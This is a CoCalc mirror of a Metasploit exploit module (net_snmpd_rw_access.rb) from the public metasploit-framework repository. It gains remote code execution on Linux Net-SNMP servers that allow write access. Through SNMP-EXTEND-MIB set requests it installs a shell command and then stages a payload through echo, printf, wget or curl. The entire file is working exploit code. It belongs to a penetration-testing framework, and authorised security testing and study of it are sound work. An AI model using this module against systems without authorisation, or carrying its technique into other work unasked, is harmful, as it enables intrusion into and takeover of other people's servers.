CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/snmp/net_snmpd_rw_access.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'snmp'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = NormalRanking
10
11
include Msf::Exploit::Remote::SNMPClient
12
include Msf::Exploit::CmdStager
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Net-SNMPd Write Access SNMP-EXTEND-MIB arbitrary code execution',
19
'Description' => %q(
20
This exploit module exploits the SNMP write access configuration ability of SNMP-EXTEND-MIB to
21
configure MIB extensions and lead to remote code execution.
22
),
23
'License' => MSF_LICENSE,
24
'Author' => ['Steve Embling at InteliSecure'],
25
'References' =>
26
[
27
[ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'],
28
[ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'],
29
[ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'],
30
[ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/']
31
],
32
'Payload' =>
33
{
34
'Space' => 4096
35
#note space above is not a hard limit and can be increased if required
36
#'BadChars' => "\x00"
37
},
38
'Targets' =>
39
[
40
['Linux x86', {
41
'Arch' => ARCH_X86,
42
'Platform' => 'linux',
43
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}],
44
['Linux x64', {
45
'Arch' => ARCH_X64,
46
'Platform' => 'linux',
47
'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}]
48
],
49
#Not tested on other platforms but confirmed the above works.
50
'DisclosureDate' => '2004-05-10',
51
'DefaultTarget' => 0,
52
)
53
)
54
register_options(
55
[
56
OptString.new('FILEPATH', [true, 'file path to write to ', '/tmp']),
57
OptString.new('CHUNKSIZE', [true, 'Maximum bytes of payload to write at once ', 200]),
58
OptString.new('SHELL', [true, 'Shell to call with -c argument', '/bin/bash'])
59
])
60
end
61
62
# The exploit method connects and sets:
63
# NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4)
64
# NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable
65
# NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments
66
def execute_command(cmd, opts = {})
67
oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112'
68
oid_1_value = 4
69
oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112'
70
oid_2_value = datastore['SHELL']
71
oid_3 = '1.3.6.1.4.1.8072.1.3.2.2.1.3.3.116.109.112'
72
oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1'
73
74
comm = datastore['COMMUNITY']
75
76
cmd = cmd.shellescape unless flavor == :bourne
77
78
oid_3_value = "-c \"#{cmd}\""
79
80
vprint_status(oid_3_value)
81
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
82
#vprint_status(manager.get_value("sysDescr.0"))
83
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
84
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
85
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
86
resp = manager.set([varbind1, varbind2, varbind3])
87
vprint_status(manager.get_value(oid_4).to_s)
88
end
89
#Hit same again, first rewrite appears to remove the MIB, the next reinstates it.
90
SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager|
91
varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value))
92
varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value))
93
varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value))
94
begin
95
resp = manager.set([varbind1, varbind2, varbind3])
96
vprint_status(manager.get_value(oid_4).to_s)
97
rescue SNMP::RequestTimeout
98
print_good("SNMP request timeout (this is promising).")
99
end
100
end
101
end
102
103
def exploit
104
execute_cmdstager(linemax: datastore['CHUNKSIZE'].to_i, :temp => datastore['FILEPATH'])
105
end
106
end
107
108